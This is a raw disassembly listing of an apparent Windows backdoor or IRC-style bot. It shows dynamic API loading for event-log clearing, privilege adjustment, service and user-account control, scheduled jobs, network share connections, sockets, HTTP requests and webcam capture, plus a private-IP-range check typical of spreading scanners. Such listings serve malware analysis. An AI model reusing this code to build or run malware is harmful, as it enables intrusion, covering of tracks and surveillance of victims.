push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_407AFD
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4D66D8, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4D661C, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4D668C, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4D6568, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4D65CC, eax
call esi ; GetProcAddress
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4D6644, eax
call esi ; GetProcAddress
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4D65E8, eax
call esi ; GetProcAddress
cmp dword_4D66D8, ebx
mov dword_4D65F8, eax
jz short loc_4079ED
cmp dword_4D661C, ebx
jz short loc_4079ED
cmp dword_4D668C, ebx
jz short loc_4079ED
cmp dword_4D6568, ebx
jz short loc_4079ED
cmp dword_4D65CC, ebx
jz short loc_4079ED
cmp dword_4D6644, ebx
jnz short loc_4079F7
loc_4079ED: ; CODE XREF: sub_4076E5+2DEj
; sub_4076E5+2E6j ...
mov dword_4D6734, 1
loc_4079F7: ; CODE XREF: sub_4076E5+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4D664C, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4D6624, eax
call esi ; GetProcAddress
cmp dword_4D664C, ebx
mov dword_4D66D4, eax
jz short loc_407A32
cmp dword_4D6624, ebx
jz short loc_407A32
cmp eax, ebx
jnz short loc_407A3C
loc_407A32: ; CODE XREF: sub_4076E5+33Fj
; sub_4076E5+347j
mov dword_4D6734, 1
loc_407A3C: ; CODE XREF: sub_4076E5+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4D665C, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4D6544, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_4D654C, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4D65B0, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4D65B4, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4D6560, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4D6628, eax
call esi ; GetProcAddress
cmp dword_4D665C, ebx
mov dword_4D6550, eax
jz short loc_407AE0
cmp dword_4D6544, ebx
jz short loc_407AE0
cmp dword_4D654C, ebx
jz short loc_407AE0
cmp dword_4D65B0, ebx
jz short loc_407AE0
cmp dword_4D65B4, ebx
jz short loc_407AE0
cmp dword_4D6560, ebx
jz short loc_407AE0
cmp dword_4D6628, ebx
jz short loc_407AE0
cmp eax, ebx
jnz short loc_407AEA
loc_407AE0: ; CODE XREF: sub_4076E5+3C5j
; sub_4076E5+3CDj ...
mov dword_4D6734, 1
loc_407AEA: ; CODE XREF: sub_4076E5+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4D6548, eax
jnz short loc_407B12
jmp short loc_407B08
; ---------------------------------------------------------------------------
loc_407AFD: ; CODE XREF: sub_4076E5+26Aj
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6738, eax
loc_407B08: ; CODE XREF: sub_4076E5+416j
mov dword_4D6734, 1
loc_407B12: ; CODE XREF: sub_4076E5+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_407BDE
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4D6654, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4D66AC, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4D66B4, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4D6670, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4D658C, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_4D6538, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4D66B0, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4D6524, eax
call esi ; GetProcAddress
cmp dword_4D6654, ebx
mov dword_4D65C4, eax
jz short loc_407BE9
cmp dword_4D66AC, ebx
jz short loc_407BE9
cmp dword_4D66B4, ebx
jz short loc_407BE9
cmp dword_4D6670, ebx
jz short loc_407BE9
cmp dword_4D658C, ebx
jz short loc_407BE9
cmp dword_4D6538, ebx
jz short loc_407BE9
cmp dword_4D66B0, ebx
jz short loc_407BE9
cmp dword_4D6524, ebx
jz short loc_407BE9
cmp eax, ebx
jnz short loc_407BF3
jmp short loc_407BE9
; ---------------------------------------------------------------------------
loc_407BDE: ; CODE XREF: sub_4076E5+438j
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6740, eax
loc_407BE9: ; CODE XREF: sub_4076E5+4B9j
; sub_4076E5+4C1j ...
mov dword_4D673C, 1
loc_407BF3: ; CODE XREF: sub_4076E5+4F5j
mov ebp, dword_4E037C
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_407EAF
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4D65D8, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4D670C, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4D6578, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4D6554, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4D6614, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4D65FC, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_4D65C0, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4D66E8, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_4D6704, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4D6610, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4D66F4, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_4D66A8, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_4D6668, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_4D6664, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_4D6598, eax
call esi ; GetProcAddress
push offset aSend_0 ; "send"
push edi
mov dword_4D6590, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_4D66B8, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_4D66CC, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4D6680, eax
call esi ; GetProcAddress
mov dword_4D6640, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_4D6694, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_4D6650, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_4D6690, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4D66FC, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_4D6648, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_4D660C, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4D667C, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4D66EC, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_4D6620, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_4D65BC, eax
call esi ; GetProcAddress
cmp dword_4D65D8, ebx
mov dword_4D6700, eax
jz loc_407EBA
cmp dword_4D670C, ebx
jz loc_407EBA
cmp dword_4D6578, ebx
jz loc_407EBA
cmp dword_4D6614, ebx
jz loc_407EBA
cmp dword_4D65FC, ebx
jz loc_407EBA
cmp dword_4D65C0, ebx
jz loc_407EBA
cmp dword_4D66E8, ebx
jz loc_407EBA
cmp dword_4D6704, ebx
jz loc_407EBA
cmp dword_4D6610, ebx
jz loc_407EBA
cmp dword_4D66F4, ebx
jz loc_407EBA
cmp dword_4D66A8, ebx
jz loc_407EBA
cmp dword_4D6668, ebx
jz loc_407EBA
cmp dword_4D6664, ebx
jz loc_407EBA
cmp dword_4D6598, ebx
jz short loc_407EBA
cmp dword_4D66B8, ebx
jz short loc_407EBA
cmp dword_4D66CC, ebx
jz short loc_407EBA
cmp dword_4D6680, ebx
jz short loc_407EBA
cmp dword_4D6640, ebx
jz short loc_407EBA
cmp dword_4D6694, ebx
jz short loc_407EBA
cmp dword_4D6650, ebx
jz short loc_407EBA
cmp dword_4D6690, ebx
jz short loc_407EBA
cmp dword_4D66FC, ebx
jz short loc_407EBA
cmp dword_4D6648, ebx
jz short loc_407EBA
cmp dword_4D660C, ebx
jz short loc_407EBA
cmp dword_4D667C, ebx
jz short loc_407EBA
cmp dword_4D66EC, ebx
jz short loc_407EBA
cmp dword_4D6620, ebx
jz short loc_407EBA
cmp eax, ebx
jnz short loc_407EC4
jmp short loc_407EBA
; ---------------------------------------------------------------------------
loc_407EAF: ; CODE XREF: sub_4076E5+51Fj
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6748, eax
loc_407EBA: ; CODE XREF: sub_4076E5+6BEj
; sub_4076E5+6CAj ...
mov dword_4D6744, 1
loc_407EC4: ; CODE XREF: sub_4076E5+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_407FC9
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4D65A4, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4D652C, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4D6630, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4D65DC, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4D663C, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4D6600, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4D656C, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4D6564, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4D6574, eax
call esi ; GetProcAddress
cmp dword_4D65A4, ebx
mov ecx, dword_4D6600
mov dword_4D669C, eax
jz short loc_407FA5
cmp dword_4D652C, ebx
jz short loc_407FA5
cmp dword_4D6630, ebx
jz short loc_407FA5
cmp dword_4D65DC, ebx
jz short loc_407FA5
cmp dword_4D663C, ebx
jz short loc_407FA5
cmp ecx, ebx
jz short loc_407FA5
cmp dword_4D656C, ebx
jz short loc_407FA5
cmp dword_4D6564, ebx
jz short loc_407FA5
cmp dword_4D6574, ebx
jz short loc_407FA5
cmp eax, ebx
jnz short loc_407FAF
loc_407FA5: ; CODE XREF: sub_4076E5+87Ej
; sub_4076E5+886j ...
mov dword_4D674C, 1
loc_407FAF: ; CODE XREF: sub_4076E5+8BEj
cmp ecx, ebx
jz short loc_407FE4
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_4D6618, eax
jnz short loc_407FE4
jmp short loc_407FDE
; ---------------------------------------------------------------------------
loc_407FC9: ; CODE XREF: sub_4076E5+7EAj
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6750, eax
mov dword_4D674C, 1
loc_407FDE: ; CODE XREF: sub_4076E5+8E2j
mov dword_4D6618, ebx
loc_407FE4: ; CODE XREF: sub_4076E5+8CCj
; sub_4076E5+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40802E
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4D65F0, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4D671C, eax
call esi ; GetProcAddress
cmp dword_4D65F0, ebx
mov dword_4D6580, eax
jz short loc_408039
cmp dword_4D671C, ebx
jz short loc_408039
cmp eax, ebx
jnz short loc_408043
jmp short loc_408039
; ---------------------------------------------------------------------------
loc_40802E: ; CODE XREF: sub_4076E5+90Aj
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6758, eax
loc_408039: ; CODE XREF: sub_4076E5+939j
; sub_4076E5+941j ...
mov dword_4D6754, 1
loc_408043: ; CODE XREF: sub_4076E5+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40814A
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4D655C, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4D6534, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4D65AC, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4D65E0, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4D66F8, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4D6594, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4D6540, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4D6530, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4D65C8, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4D66C0, eax
call esi ; GetProcAddress
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4D6678, eax
call esi ; GetProcAddress
cmp dword_4D655C, ebx
mov dword_4D659C, eax
jz short loc_408155
cmp dword_4D6534, ebx
jz short loc_408155
cmp dword_4D65AC, ebx
jz short loc_408155
cmp dword_4D65E0, ebx
jz short loc_408155
cmp dword_4D66F8, ebx
jz short loc_408155
cmp dword_4D6594, ebx
jz short loc_408155
cmp dword_4D6540, ebx
jz short loc_408155
cmp dword_4D6530, ebx
jz short loc_408155
cmp dword_4D65C8, ebx
jz short loc_408155
cmp dword_4D66C0, ebx
jz short loc_408155
cmp dword_4D6678, ebx
jnz short loc_40815F
jmp short loc_408155
; ---------------------------------------------------------------------------
loc_40814A: ; CODE XREF: sub_4076E5+969j
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6760, eax
loc_408155: ; CODE XREF: sub_4076E5+A11j
; sub_4076E5+A19j ...
mov dword_4D675C, 1
loc_40815F: ; CODE XREF: sub_4076E5+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_408194
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4D6584, eax
call esi ; GetProcAddress
cmp dword_4D6584, ebx
mov dword_4D6660, eax
jz short loc_40819F
cmp eax, ebx
jnz short loc_4081A9
jmp short loc_40819F
; ---------------------------------------------------------------------------
loc_408194: ; CODE XREF: sub_4076E5+A85j
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6768, eax
loc_40819F: ; CODE XREF: sub_4076E5+AA7j
; sub_4076E5+AADj
mov dword_4D6764, 1
loc_4081A9: ; CODE XREF: sub_4076E5+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4081DE
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4D66E4, eax
call esi ; GetProcAddress
cmp dword_4D66E4, ebx
mov dword_4D66E0, eax
jz short loc_4081E9
cmp eax, ebx
jnz short loc_4081F3
jmp short loc_4081E9
; ---------------------------------------------------------------------------
loc_4081DE: ; CODE XREF: sub_4076E5+ACFj
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6770, eax
loc_4081E9: ; CODE XREF: sub_4076E5+AF1j
; sub_4076E5+AF7j
mov dword_4D676C, 1
loc_4081F3: ; CODE XREF: sub_4076E5+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_408252
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4D6710, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4D6708, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4D66D0, eax
call esi ; GetProcAddress
cmp dword_4D6710, ebx
mov dword_4D65A0, eax
jz short loc_40825D
cmp dword_4D6708, ebx
jz short loc_40825D
cmp dword_4D66D0, ebx
jz short loc_40825D
cmp eax, ebx
jnz short loc_408267
jmp short loc_40825D
; ---------------------------------------------------------------------------
loc_408252: ; CODE XREF: sub_4076E5+B19j
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6778, eax
loc_40825D: ; CODE XREF: sub_4076E5+B55j
; sub_4076E5+B5Dj ...
mov dword_4D6774, 1
loc_408267: ; CODE XREF: sub_4076E5+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40829C
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4D65D4, eax
call esi ; GetProcAddress
cmp dword_4D65D4, ebx
mov dword_4D66DC, eax
jz short loc_4082A7
cmp eax, ebx
jnz short loc_4082B1
jmp short loc_4082A7
; ---------------------------------------------------------------------------
loc_40829C: ; CODE XREF: sub_4076E5+B8Dj
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6780, eax
loc_4082A7: ; CODE XREF: sub_4076E5+BAFj
; sub_4076E5+BB5j
mov dword_4D677C, 1
loc_4082B1: ; CODE XREF: sub_4076E5+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40833A
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4D66A4, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4D66F0, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4D662C, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4D65E4, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4D6684, eax
call esi ; GetProcAddress
cmp dword_4D66A4, ebx
mov dword_4D65F4, eax
jz short loc_408345
cmp dword_4D66F0, ebx
jz short loc_408345
cmp dword_4D662C, ebx
jz short loc_408345
cmp dword_4D65E4, ebx
jz short loc_408345
cmp dword_4D6684, ebx
jz short loc_408345
cmp eax, ebx
jnz short loc_40834F
jmp short loc_408345
; ---------------------------------------------------------------------------
loc_40833A: ; CODE XREF: sub_4076E5+BD7j
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6788, eax
loc_408345: ; CODE XREF: sub_4076E5+C2Dj
; sub_4076E5+C35j ...
mov dword_4D6784, 1
loc_40834F: ; CODE XREF: sub_4076E5+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_408384
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4D65B8, eax
call esi ; GetProcAddress
cmp dword_4D65B8, ebx
mov dword_4D6698, eax
jz short loc_40838F
cmp eax, ebx
jnz short loc_408399
jmp short loc_40838F
; ---------------------------------------------------------------------------
loc_408384: ; CODE XREF: sub_4076E5+C75j
call dword_4E0350 ; RtlGetLastWin32Error
mov dword_4D6790, eax
loc_40838F: ; CODE XREF: sub_4076E5+C97j
; sub_4076E5+C9Dj
mov dword_4D678C, 1
loc_408399: ; CODE XREF: sub_4076E5+C9Bj
pop edi
xor eax, eax
pop esi
pop ebp
inc eax
pop ebx
retn
sub_4076E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4083A1 proc near ; CODE XREF: sub_401C87+1FF9p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4D6724, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_4083E9
push dword_4D6728
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_4083E9: ; CODE XREF: sub_4083A1+1Aj
cmp dword_4D672C, esi
jz short loc_40841D
push dword_4D6730
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_40841D: ; CODE XREF: sub_4083A1+4Ej
cmp dword_4D6734, esi
jz short loc_408451
push dword_4D6738
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_408451: ; CODE XREF: sub_4083A1+82j
cmp dword_4D673C, esi
jz short loc_408485
push dword_4D6740
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_408485: ; CODE XREF: sub_4083A1+B6j
cmp dword_4D6744, esi
jz short loc_4084B9
push dword_4D6748
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_4084B9: ; CODE XREF: sub_4083A1+EAj
cmp dword_4D674C, esi
jz short loc_4084ED
push dword_4D6750
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_4084ED: ; CODE XREF: sub_4083A1+11Ej
cmp dword_4D6754, esi
jz short loc_408521
push dword_4D6758
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_408521: ; CODE XREF: sub_4083A1+152j
cmp dword_4D675C, esi
jz short loc_408555
push dword_4D6760
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_408555: ; CODE XREF: sub_4083A1+186j
cmp dword_4D6764, esi
jz short loc_408589
push dword_4D6768
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_408589: ; CODE XREF: sub_4083A1+1BAj
cmp dword_4D676C, esi
jz short loc_4085BD
push dword_4D6770
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_4085BD: ; CODE XREF: sub_4083A1+1EEj
cmp dword_4D6774, esi
jz short loc_4085F1
push dword_4D6778
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_4085F1: ; CODE XREF: sub_4083A1+222j
cmp dword_4D677C, esi
jz short loc_408625
push dword_4D6780
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_408625: ; CODE XREF: sub_4083A1+256j
cmp dword_4D6784, esi
jz short loc_408659
push dword_4D6788
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_408659: ; CODE XREF: sub_4083A1+28Aj
cmp dword_4D678C, esi
jz short loc_40868D
push dword_4D6790
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 20h
loc_40868D: ; CODE XREF: sub_4083A1+2BEj
lea eax, [ebp+var_200]
push offset unk_43AFCC
push eax
call sub_417CB0
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_4086BA
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_4086BA: ; CODE XREF: sub_4083A1+302j
lea eax, [ebp+var_200]
push eax
call sub_40F927
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4083A1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20h
cmp dword ptr [ebp+8], 0
push esi
jz loc_408761
push offset dword_4D67A4
push dword ptr [ebp+8]
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_408761
push 20h
lea eax, [ebp-20h]
push dword ptr [ebp+8]
push eax
call sub_417760
lea eax, [ebp-20h]
push offset a___1 ; ".."
push eax
call sub_418AC0
add esp, 14h
test eax, eax
jz short loc_408761
push eax
call sub_417960
mov dword ptr [esp], (offset a___1+2)
push 0
mov esi, eax
call sub_418AC0
pop ecx
test eax, eax
pop ecx
jz short loc_408761
push eax
call sub_417960
cmp esi, 0Ah
pop ecx
jz short loc_40875C
cmp esi, 0ACh
jnz short loc_40874D
cmp eax, 0Fh
jle short loc_408761
cmp eax, 20h
jl short loc_40875C
loc_40874D: ; CODE XREF: .data:00408741j
cmp esi, 0C0h
jnz short loc_408761
cmp eax, 0A8h
jnz short loc_408761
loc_40875C: ; CODE XREF: .data:00408739j
; .data:0040874Bj
xor eax, eax
inc eax
jmp short loc_408763
; ---------------------------------------------------------------------------
